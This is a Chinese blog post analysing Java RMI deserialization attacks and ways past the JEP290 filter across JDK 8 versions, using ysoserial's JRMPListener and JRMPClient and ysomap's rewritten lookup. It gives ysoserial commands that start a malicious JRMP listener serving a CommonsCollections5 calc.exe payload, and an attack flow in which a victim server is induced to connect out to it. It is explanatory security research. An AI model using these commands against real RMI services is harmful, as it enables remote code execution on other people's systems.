Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
while(var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}

var2 = var2.getComponentType();
}

if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
//白名单限制
return var2 != ObjID.class && var2 != UID.class && var2 != VMID.class && var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
}
}
}
}

Bypass JEP290

接下来我的实验环境是 8u202。

JRMP服务端打JRMP客户端(ysoserial.exploit.JRMPListener)

JAVA反序列化-RMI服务调用流程篇 客户端请求注册中心-客户端的时候我们提到了sun.rmi.transport.StreamRemoteCall#executeCall方法。下面就是利用sun.rmi.transport.StreamRemoteCall#executeCall方法。

我们现在已知在客户端有一个反序列化的点,那对应的服务端在哪里可以插入payload?

可以看到上面客户端代码对于服务端传输过来的returnType判断为TransportConstants.ExceptionalReturn才会进入反序列化流程。那么我们来全局搜索TransportConstants.ExceptionalReturn就可以找到服务端在哪里写入的了。

发现服务端的代码就在同个java文件下sun.rmi.transport.StreamRemoteCall#getResultStream,当success为false时,写入输出流。

image-20250114151509211

我们查找用法发现为false的情况有 java.rmi.server.RemoteCall#getResultStreamjava.rmi.server.RemoteCall#getResultStream

image-20250114151443901

但其实他们都写入了报错信息。

image-20250114163134278

也就是说我们并不能控制他们的写的报错信息为TransportConstants.ExceptionalReturn

ysoserial.exploit.JRMPListener实现的方式是自实现拼接出一个JRMP服务端,来发送给JRMP客户端一个序列化数据。

第一个红框就是代替了用户自定义输入,我们直接手动生成 payloadObject,随即就被作为参数带入了 JRMPListener 的构造函数里,最后调用了 run 函数。

image-20250114170212320

我们先看看 构造函数,payloadObject 赋值给了 当前类的 pyaloadObject ,随即就开启的 socket 服务端,准备好来自 JRMPClient 的连接。

image-20250114170255746

跟进 run 函数,我们直接看如果是正常 JRMP 协议的 tcp 连接,那么会进入到如下图:

image-20250114170525478

其中重要的是 doMessage 函数,跟进 doMessage 函数。

image-20250114170631915

读取一个 int op ,然后根据其值做不同的操作,这个 TransportConstants.Call 其实就是 80,Registry 里也是 80,可以在 StreamRemoteCall 的构造函数里看见,它向 server 端发送了一个 80。然后跟进doCall。

image-20250114170740399

先返回了一个 TransportConstants.ExceptionalReturn ,其值为 2,为了满足异常需求。然后生成了一个 BadAttributeValueExpException 的对象,然后将其 val 成员变量设置为 payload 了,只要有反序列化,那么就会触发代码执行。最后将其发送给了 JRMPClient。


使用ysoserial开启一个恶意服务器

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 calc.exe

image-20250113140719418

我们客户端主动连接,可以看到即使在高版本下依然还是被执行了。

这说明JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制!

看到这里是不是大概有思路了。也就是说如果服务器主动连接 exploit/JRMPListen,是不是就必然会被我们漏洞利用攻击了?

因此我们的难点就变成了怎么让受害服务器去主动连接我们的 exploit/JRMPListen
这里我们再引入ysoserial的payload/JRMPClient,只要目标服务器反序列化这个对象就会主动连接外部的 RMI 注册中心。
而我们的问题就变成了怎么让目标反序列化这个对象,在 RMI 的漏洞利用中也就是怎么让这个对象绕过 JEP290 的白名单过滤。

这一部分可以看啦啦师傅的文章,写的很清楚。

image-20250119164750156

那么最后的问题就是怎么把这个对象发送给目标呢?

通过 Bind 去发送 Payload/JRMPClient(8u141 之前)

这部分我的环境是 8u65。

  • 物理机器ip:192.168.66.71 作为攻击端
  • 虚拟机ip:192.168.112.133开启RMI服务

虚拟机定义一个IRemoteObj接口

RemoteObjimpl实现方法,创建注册中心 ,开启RMI服务,并且有commons-collections。

image-20250115142323400

攻击端使用exploit/JRMPListener开启一个恶意的RMI服务,Payload我用的是 ysoserial的payload/JRMPClient,能够绕过 JEP290,直接拿过来用就行

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections5 calc.exe

image-20250115142633366

服务端成功被RCE

image-20250115142814651

攻击流程如下:

  1. 攻击方在自己的服务器使用exploit/JRMPListener开启一个rmi监听
  2. 往存在漏洞的服务器发送payloads/JRMPClient,payload中已经设置了攻击者服务器ip及JRMPListener监听的端口,漏洞服务器反序列化该payload后,会去连接攻击者开启的rmi监听,在通信过程中,攻击者服务器会发送一个可执行命令的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。

细想这个过程,会发现这个过程跟fastjson的JNDI注入攻击模式很相似,用一个payload去诱导目标服务器发起一个外部连接,连接到我们控制的恶意服务,恶意服务再去返回payload从而在服务器上完成命令执行。

注册端对于服务端地址校验的变动

为什么在8u141后这种攻击手法不行了呢?这里直接借用啦啦师傅的图来说明,关键在RegistryImpl_Skel类。

20200622140248-ffa63c34-b44d-1

也就是说在8u141之前, JRMP 的反序列化发生在这个地址校验之前,因此这个限制对我们来说没有作用。所以我们可以直接通过 bind 去把这个对象给发送个注册中心。此后,在 8u141 修复中对这个校验提前了,因此通过 bind 去发生 payload 不再可行。

通过 lookup 去发送 Payload/JRMPClient(8u231 之前)(我的环境为JDK141)

由于 8u141 之后修复了服务段和注册中心的地址校验问题,没办法再用 Bind 了,但我们还可以使用 lookup 方法来发送 JRMPClient Payload。

但在 8U231 之后,Oracle 开始对 JEP290 拦截的白名单进行增强修复,因此我们封装的 JRMPClient 无法通过 JEP290 的拦截了。

这里问题在于 Lookup 只接收 String 类型,我们需要想办法,让我们的 Lookup 能接收 Object 对象,这里要么实现一个 HOOK 拦截器,要么重写 Lookup。

这里 ysomap 这个工具就重写了 Lookup,我们只需要拿过来用就完事了。

ysomap.exploit.rmi.component.Naming#lookup

image-20250118184429570

image-20250118184541535

通过 lookup 去发送 Payload/JRMPClient(8u241 之前)(我的环境为jdk231)

8u231 主要修复的是

  • sun.rmi.registry.RegistryImpl_Skel#dispatch 报错情况消除 ref

  • sun.rmi.transport.DGCImpl_Stub#dirty 提前了黑名单

也就是说我们的 payload/JRMPClient 需要想办法重新封装以绕过 8u231 的修复。这里我们利用 ysomap 中封装好的对象,然后老样子通过 lookup 给服务器传进去即可。

image-20250118191420840

image-20250118191444055

参考连接

Java RMI 攻击由浅入深

JAVA RMI 反序列化攻击 & JEP290 Bypass分析

针对RMI服务的九重攻击 - 上

针对RMI服务的九重攻击 - 下

基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI

JAVA安全之RMI命令执行深度刨析

Java安全学习——利用RMI进行攻击

Bypass JEP290攻击rmi

Java RMI(远程方法调用)漏洞利用 - Java

JRMP通信攻击过程及利用介绍

ysoserial exploit/JRMPClient原理剖析

ysoserial exploit/JRMPListener原理剖析

Java安全之ysoserial-JRMP模块分析(一)

Java 代理模式详解


JAVA反序列化-RMI攻击篇
https://sp4rks3.github.io/2025/01/14/JAVA安全/反序列化/RMI专题-攻击篇/
作者
Sp4rks3
发布于
2025年1月14日
许可协议